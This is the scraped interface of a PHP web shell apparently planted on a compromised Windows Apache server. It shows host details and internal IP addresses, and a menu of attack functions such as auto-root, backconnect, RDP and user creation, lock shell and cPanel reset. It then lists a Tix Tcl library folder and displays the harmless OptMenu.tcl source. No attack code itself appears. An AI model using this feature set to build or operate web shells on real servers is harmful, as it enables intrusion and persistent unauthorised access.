Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
python /
python-3.10 /
tcl /
tix8.4.3 /
[ HOME SHELL ]
Name
Size
Permission
Action
bitmaps
[ DIR ]
drwxrwxrwx
demos
[ DIR ]
drwxrwxrwx
pref
[ DIR ]
drwxrwxrwx
Balloon.tcl
13.54
KB
-rw-rw-rw-
BtnBox.tcl
2.73
KB
-rw-rw-rw-
CObjView.tcl
7.91
KB
-rw-rw-rw-
ChkList.tcl
5.2
KB
-rw-rw-rw-
ComboBox.tcl
36.94
KB
-rw-rw-rw-
Compat.tcl
903
B
-rw-rw-rw-
Console.tcl
15.55
KB
-rw-rw-rw-
Control.tcl
12.58
KB
-rw-rw-rw-
DefSchm.tcl
3.04
KB
-rw-rw-rw-
DialogS.tcl
4.37
KB
-rw-rw-rw-
DirBox.tcl
5.5
KB
-rw-rw-rw-
DirDlg.tcl
2.25
KB
-rw-rw-rw-
DirList.tcl
7.16
KB
-rw-rw-rw-
DirTree.tcl
9.1
KB
-rw-rw-rw-
DragDrop.tcl
4.09
KB
-rw-rw-rw-
DtlList.tcl
1.03
KB
-rw-rw-rw-
EFileBox.tcl
11.55
KB
-rw-rw-rw-
EFileDlg.tcl
1.74
KB
-rw-rw-rw-
Event.tcl
5.32
KB
-rw-rw-rw-
FileBox.tcl
14.55
KB
-rw-rw-rw-
FileCbx.tcl
2.53
KB
-rw-rw-rw-
FileDlg.tcl
2.21
KB
-rw-rw-rw-
FileEnt.tcl
7.41
KB
-rw-rw-rw-
FloatEnt.tcl
3.23
KB
-rw-rw-rw-
Grid.tcl
22.25
KB
-rw-rw-rw-
HList.tcl
18.62
KB
-rw-rw-rw-
HListDD.tcl
4.59
KB
-rw-rw-rw-
IconView.tcl
6.23
KB
-rw-rw-rw-
Init.tcl
6.28
KB
-rw-rw-rw-
LabEntry.tcl
2.18
KB
-rw-rw-rw-
LabFrame.tcl
1.2
KB
-rw-rw-rw-
LabWidg.tcl
4.01
KB
-rw-rw-rw-
ListNBk.tcl
3.65
KB
-rw-rw-rw-
Makefile
66
B
-rw-rw-rw-
Meter.tcl
3.17
KB
-rw-rw-rw-
MultView.tcl
3.77
KB
-rw-rw-rw-
NoteBook.tcl
6.26
KB
-rw-rw-rw-
OldUtil.tcl
3.09
KB
-rw-rw-rw-
OptMenu.tcl
9.56
KB
-rw-rw-rw-
PanedWin.tcl
28.87
KB
-rw-rw-rw-
PopMenu.tcl
5.6
KB
-rw-rw-rw-
Primitiv.tcl
10.7
KB
-rw-rw-rw-
ResizeH.tcl
13.43
KB
-rw-rw-rw-
SGrid.tcl
6.03
KB
-rw-rw-rw-
SHList.tcl
3.84
KB
-rw-rw-rw-
SListBox.tcl
7.26
KB
-rw-rw-rw-
STList.tcl
2.46
KB
-rw-rw-rw-
SText.tcl
3.22
KB
-rw-rw-rw-
SWidget.tcl
9.97
KB
-rw-rw-rw-
SWindow.tcl
7.01
KB
-rw-rw-rw-
Select.tcl
7.33
KB
-rw-rw-rw-
Shell.tcl
1.1
KB
-rw-rw-rw-
SimpDlg.tcl
1.18
KB
-rw-rw-rw-
StackWin.tcl
2.03
KB
-rw-rw-rw-
StatBar.tcl
1.36
KB
-rw-rw-rw-
StdBBox.tcl
1.69
KB
-rw-rw-rw-
StdShell.tcl
1.19
KB
-rw-rw-rw-
TList.tcl
18.52
KB
-rw-rw-rw-
Tix.tcl
9.9
KB
-rw-rw-rw-
Tree.tcl
4.78
KB
-rw-rw-rw-
Utils.tcl
10.97
KB
-rw-rw-rw-
VResize.tcl
5.16
KB
-rw-rw-rw-
VStack.tcl
9.84
KB
-rw-rw-rw-
VTree.tcl
4.5
KB
-rw-rw-rw-
Variable.tcl
2.6
KB
-rw-rw-rw-
WInfo.tcl
1005
B
-rw-rw-rw-
fs.tcl
4.07
KB
-rw-rw-rw-
pkgIndex.tcl
154
B
-rw-rw-rw-
tix84.dll
362
KB
-rw-rw-rw-
tix84.lib
33.36
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OptMenu.tcl
# -*- mode: TCL; fill-column: 75; tab-width: 8; coding: iso-latin-1-unix -*- # # $Id: OptMenu.tcl,v 1.3 2001/12/09 05:04:02 idiscovery Exp $ # # OptMenu.tcl -- # # This file implements the TixOptionMenu widget. # # Copyright (c) 1993-1999 Ioi Kim Lam. # Copyright (c) 2000-2001 Tix Project Group. # # See the file "license.terms" for information on usage and redistribution # of this file, and for a DISCLAIMER OF ALL WARRANTIES. # tixWidgetClass tixOptionMenu { -classname TixOptionMenu -superclass tixLabelWidget -method { add delete disable enable entrycget entryconfigure entries } -flag { -command -disablecallback -dynamicgeometry -value -variable -validatecmd -state } -forcecall { -variable -state } -configspec { {-command command Command ""} {-disablecallback disableCallback DisableCallback 0 tixVerifyBoolean} {-dynamicgeometry dynamicGeometry DynamicGeometry 0 tixVerifyBoolean} {-state state State normal} {-value value Value ""} {-validatecmd validateCmd ValidateCmd ""} {-variable variable Variable ""} } -default { {.highlightThickness 0} {.takeFocus 0} {.frame.menubutton.relief raised} {.frame.menubutton.borderWidth 2} {.frame.menubutton.anchor w} {.frame.menubutton.highlightThickness 2} {.frame.menubutton.takeFocus 1} } } proc tixOptionMenu:InitWidgetRec {w} { upvar #0 $w data tixChainMethod $w InitWidgetRec set data(nItems) 0 set data(items) "" set data(posted) 0 set data(varInited) 0 set data(maxWidth) 0 } proc tixOptionMenu:ConstructFramedWidget {w frame} { upvar #0 $w data tixChainMethod $w ConstructFramedWidget $frame set data(w:menubutton) [menubutton $frame.menubutton -indicatoron 1] set data(w:menu) [menu $frame.menubutton.menu -tearoff 0] pack $data(w:menubutton) -side left -expand yes -fill both $data(w:menubutton) config -menu $data(w:menu) bind $data(w:menubutton) <Up> [bind Menubutton <space>] bind $data(w:menubutton) <Down> [bind Menubutton <space>] tixSetMegaWidget $data(w:menubutton) $w } proc tixOptionMenu:SetBindings {w} { upvar #0 $w data tixChainMethod $w SetBindings } #---------------------------------------------------------------------- # Private methods #---------------------------------------------------------------------- proc tixOptionMenu:Invoke {w name} { upvar #0 $w data if {"$data(-state)" == "normal"} { tixOptionMenu:SetValue $w $name } } proc tixOptionMenu:SetValue {w value {noUpdate 0}} { upvar #0 $w data if {$data(-validatecmd) != ""} { set value [tixEvalCmdBinding $w $data(-validatecmd) "" $value] } set name $value if {$name == "" || [info exists data(varInited)]} { # variable may contain a bogus value if {![info exists data($name,index)]} { set data(-value) "" tixVariable:UpdateVariable $w $data(w:menubutton) config -text "" return } } if {[info exists data($name,index)]} { $data(w:menubutton) config -text $data($name,label) set data(-value) $value if {! $noUpdate} { tixVariable:UpdateVariable $w } if {$data(-command) != "" && !$data(-disablecallback)} { if {![info exists data(varInited)]} { set bind(specs) "" tixEvalCmdBinding $w $data(-command) bind $value } } } else { error "item \"$value\" does not exist" } } proc tixOptionMenu:SetMaxWidth {w} { upvar #0 $w data foreach name $data(items) { set len [string length $data($name,label)] if {$data(maxWidth) < $len} { set data(maxWidth) $len } } if {$data(maxWidth) > 0} { $data(w:menubutton) config -width $data(maxWidth) } } #---------------------------------------------------------------------- # Configuration #---------------------------------------------------------------------- proc tixOptionMenu:config-state {w value} { upvar #0 $w data if {![info exists data(w:label)]} { return } if {$value == "normal"} { catch { $data(w:label) config -fg \ [$data(w:menubutton) cget -foreground] } $data(w:menubutton) config -state $value } else { catch { $data(w:label) config -fg \ [$data(w:menubutton) cget -disabledforeground] } $data(w:menubutton) config -state $value } } proc tixOptionMenu:config-value {w value} { upvar #0 $w data tixOptionMenu:SetValue $w $value # This will tell the Intrinsics: "Please use this value" # because "value" might be altered by SetValues # return $data(-value) } proc tixOptionMenu:config-variable {w arg} { upvar #0 $w data if {[tixVariable:ConfigVariable $w $arg]} { # The value of data(-value) is changed if tixVariable:ConfigVariable # returns true tixOptionMenu:SetValue $w $data(-value) 1 } catch { unset data(varInited) } set data(-variable) $arg } #---------------------------------------------------------------------- # Public Methdos #---------------------------------------------------------------------- proc tixOptionMenu:add {w type name args} { upvar #0 $w data if {[info exists data($name,index)]} { error "item $name already exists in the option menu $w" } case $type { "command" { set validOptions { -command -label } set opt(-command) "" set opt(-label) $name tixHandleOptions -nounknown opt $validOptions $args if {$opt(-command) != ""} { error "option -command cannot be specified" } # Create a new item inside the menu # eval $data(w:menu) add command $args \ [list -label $opt(-label) \ -command "tixOptionMenu:Invoke $w \{$name\}"] set index $data(nItems) # Store info about this item # set data($index,name) $name set data($name,type) cmd set data($name,label) $opt(-label) set data($name,index) $index if {$index == 0} { $data(w:menubutton) config -text $data($name,label) tixOptionMenu:SetValue $w $name } incr data(nItems) lappend data(items) $name if $data(-dynamicgeometry) { tixOptionMenu:SetMaxWidth $w } } "separator" { $data(w:menu) add separator set index $data(nItems) # Store info about this item # set data($index,name) $name set data($name,type) sep set data($name,label) "" set data($name,index) $index incr data(nItems) lappend data(items) $name } default { error "only types \"separator\" and \"command\" are allowed" } } return "" } proc tixOptionMenu:delete {w item} { upvar #0 $w data if {![info exists data($item,index)]} { error "item $item does not exist in $w" } # Rehash the item list set newItems "" set oldIndex 0 set newIndex 0 foreach name $data(items) { if {$item == $name} { unset data($name,label) unset data($name,index) unset data($name,type) $data(w:menu) delete $oldIndex } else { set data($name,index) $newIndex set data($newIndex,name) $name incr newIndex lappend newItems $name } incr oldIndex } incr oldIndex -1; unset data($oldIndex,name) set data(nItems) $newIndex set data(items) $newItems if {$data(-value) == $item} { set newVal "" foreach item $data(items) { if {$data($item,type) == "cmd"} { set newVal $item } } tixOptionMenu:SetValue $w $newVal } return "" } proc tixOptionMenu:disable {w item} { upvar #0 $w data if {![info exists data($item,index)]} { error "item $item does not exist in $w" } else { catch {$data(w:menu) entryconfig $data($item,index) -state disabled} } } proc tixOptionMenu:enable {w item} { upvar #0 $w data if {![info exists data($item,index)]} { error "item $item does not exist in $w" } else { catch {$data(w:menu) entryconfig $data($item,index) -state normal} } } proc tixOptionMenu:entryconfigure {w item args} { upvar #0 $w data if {![info exists data($item,index)]} { error "item $item does not exist in $w" } else { return [eval $data(w:menu) entryconfig $data($item,index) $args] } } proc tixOptionMenu:entrycget {w item arg} { upvar #0 $w data if {![info exists data($item,index)]} { error "item $item does not exist in $w" } else { return [$data(w:menu) entrycget $data($item,index) $arg] } } proc tixOptionMenu:entries {w} { upvar #0 $w data return $data(items) } proc tixOptionMenu:Destructor {w} { tixVariable:DeleteVariable $w # Chain this to the superclass # tixChainMethod $w Destructor } #---------------------------------------------------------------------- # Obsolete # These have been replaced by new commands in Tk 4.0 # proc tixOptionMenu:Post {w} { upvar #0 $w data set rootx [winfo rootx $data(w:frame)] set rooty [winfo rooty $data(w:frame)] # adjust for the border of the menu and frame # incr rootx [lindex [$data(w:menu) config -border] 4] incr rooty [lindex [$data(w:frame) config -border] 4] incr rooty [lindex [$data(w:menu) config -border] 4] set value $data(-value) set y [$data(w:menu) yposition $data($value,index)] $data(w:menu) post $rootx [expr $rooty - $y] $data(w:menu) activate $data($value,index) grab -global $data(w:menubutton) set data(posted) 1 }
Close